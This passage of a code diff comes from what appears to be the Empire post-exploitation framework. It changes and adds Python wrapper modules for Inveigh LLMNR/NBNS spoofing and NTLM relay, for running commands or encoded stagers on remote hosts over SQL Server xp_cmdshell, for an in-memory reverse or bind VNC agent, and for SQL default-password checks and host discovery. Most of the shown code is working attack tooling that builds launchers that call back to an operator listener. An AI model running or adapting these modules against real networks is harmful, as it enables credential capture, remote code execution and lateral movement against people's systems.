'Required' : False,
'Value' : 'Y'
},
'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False,
'Value' : ''
},
'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False,
'Value' : ''
},
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False,
'Value' : ''
},
'SMB' : {
'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'Challenge' : {
'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
'Required' : False,
'Value' : ''
},
'MachineAccounts' : {
'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
'Required' : False,
'Value' : 'N'
},
'ConsoleStatus' : { 'ConsoleStatus' : {
'Description' : 'Interval in minutes for auto-displaying all unique captured hashes and credentials. (Y/N)', 'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'ConsoleUnique' : { 'ConsoleUnique' : {
'Description' : 'Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.', 'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
'Required' : False, 'Required' : False,
'Value' : 'Y' 'Value' : ''
},
'ElevatedPrivilege' : {
'Description' : '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated privilege. If so, options that require elevated privilege can be used.',
'Required' : False,
'Value' : ''
},
'HTTP' : {
'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture.',
'Required' : False,
'Value' : ''
},
'HTTPAuth' : {
'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat requests.',
'Required' : False,
'Value' : ''
},
'HTTPContentType' : {
'Description' : 'Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.',
'Required' : False,
'Value' : ''
},
'HTTPResponse' : {
'Description' : 'Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests. Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this module.',
'Required' : False,
'Value' : ''
},
'Inspect' : {
'Description' : '(Switch) Inspect LLMNR, mDNS, and NBNS traffic only.',
'Required' : False,
'Value' : ''
},
'IP' : {
'Description' : 'Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not set.',
'Required' : False,
'Value' : ''
},
'LLMNR' : {
'Description' : '(Y/N) Default = Y: Enable/Disable LLMNR spoofer.',
'Required' : False,
'Value' : ''
},
'mDNS' : {
'Description' : '(Y/N) Enable/Disable mDNS spoofer.',
'Required' : False,
'Value' : ''
},
'mDNSTypes' : {
'Description' : '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to 224.0.0.251.',
'Required' : False,
'Value' : ''
},
'NBNS' : {
'Description' : '(Y/N) Enable/Disable NBNS spoofer.',
'Required' : False,
'Value' : ''
},
'NBNSTypes' : {
'Description' : 'Default = 00,20: Comma separated list of NBNS types to spoof.',
'Required' : False,
'Value' : ''
},
'Proxy' : {
'Description' : '(Y/N) Enable/Disable Inveigh\'s proxy server authentication capture.',
'Required' : False,
'Value' : ''
},
'ProxyPort' : {
'Description' : 'Default = 8492: TCP port for the Inveigh\'s proxy listener.',
'Required' : False,
'Value' : ''
},
'RunCount' : {
'Description' : 'Number of NTLMv1/NTLMv2 captures to perform before auto-exiting.',
'Required' : False,
'Value' : ''
}, },
'RunTime' : { 'RunTime' : {
'Description' : 'Run time duration in minutes.', 'Description' : 'Run time duration in minutes.',
'Required' : True,
'Value' : ''
},
'SMB' : {
'Description' : '(Y/N) Default = Y: Enable/Disable SMB challenge/response capture.',
'Required' : False,
'Value' : ''
},
'SpooferIP' : {
'Description' : 'Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.',
'Required' : False,
'Value' : ''
},
'SpooferHostsIgnore' : {
'Description' : 'Comma separated list of requested hostnames to ignore when spoofing.',
'Required' : False,
'Value' : ''
},
'SpooferHostsReply' : {
'Description' : 'Comma separated list of requested hostnames to respond to when spoofing.',
'Required' : False,
'Value' : ''
},
'SpooferIPsIgnore' : {
'Description' : 'Comma separated list of source IP addresses to ignore when spoofing.',
'Required' : False,
'Value' : ''
},
'SpooferIPsReply' : {
'Description' : 'Comma separated list of source IP addresses to respond to when spoofing.',
'Required' : False,
'Value' : ''
},
'SpooferLearning' : {
'Description' : '(Y/N) Enable/Disable LLMNR/NBNS valid host learning.',
'Required' : False,
'Value' : ''
},
'SpooferLearningDelay' : {
'Description' : 'Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.',
'Required' : False,
'Value' : ''
},
'SpooferRepeat' : {
'Description' : '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured.',
'Required' : False,
'Value' : ''
},
'WPADAuth' : {
'Description' : '(Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
} }
} }
# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality

View File

@ -1,181 +0,0 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-InveighBruteForce',
'Author': ['Kevin Robertson'],
'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. '
'This module can be used to perform NBNS spoofing across subnets and/or perform NBNS '
'spoofing without an elevated administrator or SYSTEM shell.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/Kevin-Robertson/Inveigh'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'SpooferIP' : {
'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh Brute Force host.',
'Required' : False,
'Value' : ''
},
'SpooferTarget' : {
'Description' : 'IP address to target for brute force NBNS spoofing.',
'Required' : True,
'Value' : ''
},
'Hostname' : {
'Description' : 'Hostname to spoof with NBNS spoofing.',
'Required' : False,
'Value' : 'WPAD'
},
'NBNS' : {
'Description' : 'Enable/Disable NBNS spoofing (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'NBNSPause' : {
'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.',
'Required' : False,
'Value' : ''
},
'NBNSTTL' : {
'Description' : 'Custom NBNS TTL in seconds for the response packet.',
'Required' : False,
'Value' : ''
},
'HTTP' : {
'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).',
'Required' : False,
'Value' : 'Y'
},
'HTTPAuth' : {
'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'HTTPBasicRealm' : {
'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.',
'Required' : False,
'Value' : 'IIS'
},
'HTTPResponse' : {
'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests. Do not wrap in quotes and use PowerShell character escapes where necessary.',
'Required' : False,
'Value' : ''
},
'WPADAuth' : {
'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).',
'Required' : False,
'Value' : 'NTLM'
},
'WPADIP' : {
'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.',
'Required' : False,
'Value' : ''
},
'WPADPort' : {
'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.',
'Required' : False,
'Value' : ''
},
'WPADDirectHosts' : {
'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.',
'Required' : False,
'Value' : ''
},
'Challenge' : {
'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.',
'Required' : False,
'Value' : ''
},
'MachineAccounts' : {
'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).',
'Required' : False,
'Value' : 'N'
},
'RunCount' : {
'Description' : 'Number of captures to perform before auto-exiting.',
'Required' : False,
'Value' : ''
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# set defaults for Empire
scriptEnd = "\n" + 'Invoke-InveighBruteForce -Tool "2" '
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
scriptEnd += " -" + str(option)
else:
if "," in str(values['Value']):
quoted = '"' + str(values['Value']).replace(',', '","') + '"'
scriptEnd += " -" + str(option) + " " + quoted
else:
scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\""
if obfuscate:
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script

View File

@ -9,18 +9,20 @@ class Module:
'Author': ['Kevin Robertson'], 'Author': ['Kevin Robertson'],
'Description': ('Inveigh\'s SMB relay function. This module can be used to relay ' 'Description': ('Inveigh\'s SMB relay function. This module can be used to relay incoming '
'incoming HTTP NTLMv2 authentication requests to an SMB target. ' 'HTTP/Proxy NTLMv1/NTLMv2 authentication requests to an SMB target. If the '
'If the authentication is successfully relayed and the account is ' 'authentication is successfully relayed and the account has the correct '
'a local administrator, a specified command will be executed on the ' 'privilege, a specified command or Empire launcher will be executed on the '
'target PSExec style. This module works best while also running ' 'target PSExec style. This module works best while also running collection/inveigh '
'collection/inveigh with HTTP disabled.'), 'with HTTP disabled. Note that this module exposes only a subset of Inveigh '
'Relay\'s parameters. Inveigh Relay can be used through Empire\'s scriptimport '
'and scriptcmd if additional parameters are needed.'),
'Background' : True, 'Background' : True,
'OutputExtension' : None, 'OutputExtension' : None,
'NeedsAdmin' : True, 'NeedsAdmin' : False,
'OpsecSafe' : False, 'OpsecSafe' : False,
@ -42,31 +44,92 @@ class Module:
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayTarget' : { 'Listener' : {
'Description' : 'IP address of system to target for SMB relay.', 'Description' : 'Listener to use.',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy_' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Command' : {
'Description' : 'Command to execute on relay target. Do not wrap in quotes and use PowerShell escape characters and newlines where necessary.',
'Required' : False,
'Value' : ''
},
'ConsoleOutput' : {
'Description' : '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce output.',
'Required' : False,
'Value' : ''
},
'ConsoleStatus' : {
'Description' : 'Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean list of captures in Empire.',
'Required' : False,
'Value' : ''
},
'ConsoleUnique' : {
'Description' : '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, and username combinations.',
'Required' : False,
'Value' : ''
},
'HTTP' : {
'Description' : '(Y/N) Default = Y: Enable/Disable HTTP challenge/response capture/relay.',
'Required' : False,
'Value' : ''
},
'Proxy' : {
'Description' : '(Y/N) Default = N: Enable/Disable Inveigh\'s proxy server authentication capture/relay.',
'Required' : False,
'Value' : ''
},
'ProxyPort' : {
'Description' : 'Default = 8492: TCP port for Inveigh\'s proxy listener.',
'Required' : False,
'Value' : ''
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayCommand' : { 'Service' : {
'Description' : 'Command to execute on SMB relay target. Do not wrap in quotes and use PowerShell character escapes where necessary.', 'Description' : 'Default = 20 character random: Name of the service to create and delete on the target.',
'Required' : False,
'Value' : ''
},
'SMB1' : {
'Description' : '(Switch) Force SMB1.',
'Required' : False,
'Value' : ''
},
'Target' : {
'Description' : 'IP address or hostname of system to target for relay.',
'Required' : True, 'Required' : True,
'Value' : '' 'Value' : ''
}, },
'SMBRelayUsernames' : { 'Usernames' : {
'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
}, },
'SMBRelayAutoDisable' : { 'WPADAuth' : {
'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).', 'Description' : '(Anonymous/NTLM) HTTP listener authentication type for wpad.dat requests.',
'Required' : False,
'Value' : 'Y'
},
'RunTime' : {
'Description' : 'Run time duration in minutes.',
'Required' : False, 'Required' : False,
'Value' : '' 'Value' : ''
} }
} }
# save off a copy of the mainMenu object to access external functionality # save off a copy of the mainMenu object to access external functionality
@ -82,6 +145,12 @@ class Module:
def generate(self, obfuscate=False, obfuscationCommand=""): def generate(self, obfuscate=False, obfuscationCommand=""):
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy_']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
command = self.options['Command']['Value']
# read in the common module source code # read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1" moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-InveighRelay.ps1"
if obfuscate: if obfuscate:
@ -98,11 +167,21 @@ class Module:
script = moduleCode script = moduleCode
if command == "":
if not self.mainMenu.listeners.is_listener_valid(listenerName):
# not a valid listener, return nothing for the script
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
# generate the PowerShell one-liner with all of the proper options set
command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
# set defaults for Empire # set defaults for Empire
scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" ' scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command)
for option,values in self.options.iteritems(): for option,values in self.options.iteritems():
if option.lower() != "agent": if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command":
if values['Value'] and values['Value'] != '': if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true": if values['Value'].lower() == "true":
# if we're just adding a switch # if we're just adding a switch

View File

@ -0,0 +1,131 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-SQLOSCMD',
'Author': ['@nullbind', '@0xbadjuju'],
'Description': ('Executes a command or stager on remote hosts using xp_cmdshell.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': []
}
self.options = {
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'CredID' : {
'Description' : 'CredID from the store to use.',
'Required' : False,
'Value' : ''
},
'Instance' : {
'Description' : 'Host[s] to execute the stager on, comma separated.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : False,
'Value' : ''
},
'Command' : {
'Description' : 'Custom command to execute on remote hosts.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : '[domain\]username to use to execute command.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'Password to use to execute command.',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
self.mainMenu = mainMenu
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
credID = self.options["CredID"]['Value']
if credID != "":
if not self.mainMenu.credentials.is_credential_valid(credID):
print helpers.color("[!] CredID is invalid!")
return ""
(credID, credType, domainName, username, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
if domainName != "":
self.options["UserName"]['Value'] = str(domainName) + "\\" + str(username)
else:
self.options["UserName"]['Value'] = str(username)
if password != "":
self.options["Password"]['Value'] = password
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
proxy = self.options['Proxy']['Value']
proxyCreds = self.options['ProxyCreds']['Value']
instance = self.options['Instance']['Value']
command = self.options['Command']['Value']
username = self.options['UserName']['Value']
password = self.options['Password']['Value']
moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1"
moduleCode = ""
try:
with open(moduleSource, 'r') as source:
moduleCode = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
script = moduleCode
if command == "":
if not self.mainMenu.listeners.is_listener_valid(listenerName):
print helpers.color("[!] Invalid listener: " + listenerName)
return ""
else:
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
if launcher == "":
return ""
else:
command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command)
if username != "":
script += " -UserName "+username
if password != "":
script += " -Password "+password
return script

View File

@ -0,0 +1,102 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Vnc',
'Author': ['@n00py'],
'Description': ('Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/artkond/Invoke-Vnc'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Port' : {
'Description' : 'Port to Use.',
'Required' : True,
'Value' : '5900'
},
'Password' : {
'Description' : 'Password to use.',
'Required' : True,
'Value' : 'password'
},
'ConType' : {
'Description' : 'Connection type, choose \"bind\" or \"reverse\".',
'Required' : True,
'Value' : 'bind'
}
,
'IpAddress' : {
'Description' : 'IP Address to use for reverse connection.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in th Invoke-Vnc.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-Vnc.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "\nInvoke-Vnc"
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

View File

@ -0,0 +1,98 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SQLServerLoginDefaultPw',
'Author': ['@_nullbind', '@0xbadjuju'],
'Description': ('Based on the instance name, test if SQL Server '
'is configured with default passwords.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1',
'https://github.com/pwnwiki/pwnwiki.github.io/blob/master/tech/db/mssql.md'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'SQL Server or domain account to authenticate with. Only used for CheckAll',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'SQL Server or domain account password to authenticate with. Only used for CheckAll',
'Required' : False,
'Value' : ''
},
'Instance' : {
'Description' : 'SQL Server instance to connection to.',
'Required' : False,
'Value' : ''
},
'CheckAll' : {
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.',
'Required' : False,
'Value' : ''
}
}
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
username = self.options['Username']['Value']
password = self.options['Password']['Value']
instance = self.options['Instance']['Value']
check_all = self.options['CheckAll']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "data/module_source/recon/Get-SQLServerLoginDefaultPw.ps1"
script = ""
try:
with open(moduleSource, 'r') as source:
script = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
if check_all:
auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
try:
with open(auxModuleSource, 'r') as auxSource:
auxScript = auxSource.read()
script += " " + auxScript
except:
print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource))
script += " Get-SQLInstanceDomain "
if username != "":
script += " -Username "+username
if password != "":
script += " -Password "+password
script += " | Select Instance | "
script += " Get-SQLServerLoginDefaultPw"
if instance != "" and not check_all:
script += " -Instance "+instance
return script

View File

@ -0,0 +1,116 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'Start-MonitorTCPConnections',
# list of one or more authors for the module
'Author': ['@erikbarzdukas'],
# more verbose multi-line description of the module
'Description': ('Monitors hosts for TCP connections to a specified domain name or IPv4 address.'
' Useful for session hijacking and finding users interacting with sensitive services.'),
# True if the module needs to run in the background
'Background' : True,
# File extension to save the file as
'OutputExtension' : None,
# True if the module needs admin rights to run
'NeedsAdmin' : False,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : True,
# the language for this module
'Language' : 'powershell',
# The minimum PowerShell version needed for the module to run
'MinLanguageVersion' : '2',
# list of any references/other comments
'Comments': [
'Based on code from Tim Ferrell.',
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
# The 'Agent' option is the only one that MUST be in a module
'Description' : 'Agent to monitor from.',
'Required' : True,
'Value' : ''
},
'TargetDomain' : {
'Description' : 'Domain name or IPv4 address of target service.',
'Required' : True,
'Value' : ''
},
'CheckInterval' : {
'Description' : 'Interval in seconds to check for the connection',
'Required' : True,
'Value' : '15'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
# During instantiation, any settable option parameters
# are passed as an object set to the module and the
# options dictionary is automatically set. This is mostly
# in case options are passed on the command line
if params:
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# the PowerShell script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
#
# the script should be stripped of comments, with a link to any
# original reference script included in the comments.
# if you're reading in a large, external script that might be updates,
# use the pattern below
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/host/Start-MonitorTCPConnections.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
script += "Start-TCPMonitor"
# add any arguments to the end execution of the script
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
return script

View File

@ -0,0 +1,118 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name' : 'Get-SQLInstanceDomain',
'Author': ['@_nullbind', '@0xbadjuju'],
'Description': ('Returns a list of SQL Server instances discovered by querying '
'a domain controller for systems with registered MSSQL service '
'principal names. The function will default to the current user\'s '
'domain and logon server, but an alternative domain controller '
'can be provided. UDP scanning of management servers is optional.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'DomainController' : {
'Description' : "Domain controller for Domain and Site that you want to query against.",
'Required' : False,
'Value' : ''
},
'ComputerName' : {
'Description' : 'Computer name to filter for.',
'Required' : False,
'Value' : ''
},
'DomainServiceAccount' : {
'Description' : 'Domain account to filter for.',
'Required' : False,
'Value' : ''
},
'CheckMgmt' : {
'Description' : 'Performs UDP scan of servers managing SQL Server clusters.',
'Required' : False,
'Value' : 'False'
},
'UDPTimeOut' : {
'Description' : 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.',
'Required' : False,
'Value' : '3'
},
'Username' : {
'Description' : 'SQL Server or domain account to authenticate with.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'SQL Server or domain account password to authenticate with.',
'Required' : False,
'Value' : ''
}
}
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
domainController = self.options['DomainController']['Value']
computerName = self.options['ComputerName']['Value']
domainAccount = self.options['DomainServiceAccount']['Value']
checkMgmt = self.options['CheckMgmt']['Value']
udpTimeOut = self.options['UDPTimeOut']['Value']
username = self.options['Username']['Value']
password = self.options['Password']['Value']
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1"
script = ""
try:
with open(moduleSource, 'r') as source:
script = source.read()
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
script += " Get-SQLInstanceDomain"
if username != "":
script += " -Username " + username
if password != "":
script += " -Password " + password
if domainController != "":
script += " -DomainController "+domainController
if computerName != "":
script += " -ComputerName "+computerName
if domainAccount != "":
script += " -DomainAccount "+domainAccount
if checkMgmt.lower() != "false":
script += " -CheckMgmt"
if udpTimeOut != "":
script += " -UDPTimeOut "+udpTimeOut
return script

View File

@ -0,0 +1,101 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-SQLServerInfo',
'Author': ['@_nullbind', '@0xbadjuju'],
'Description': ('Returns basic server and user information from target SQL Servers.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinPSVersion' : '2',
'MinLanguageVersion' : '2',
'Comments': [
'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Username' : {
'Description' : 'SQL Server or domain account to authenticate with.',
'Required' : False,
'Value' : ''
},
'Password' : {
'Description' : 'SQL Server or domain account password to authenticate with.',
'Required' : False,
'Value' : ''
},
'Instance' : {
'Description' : 'SQL Server instance to connection to.',
'Required' : False,
'Value' : ''
},
'CheckAll' : {
'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain',
'Required' : False,
'Value' : ''
}
}
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
username = self.options['Username']['Value']
password = self.options['Password']['Value']
instance = self.options['Instance']['Value']
check_all = self.options['CheckAll']['Value']
# read in the common module source code
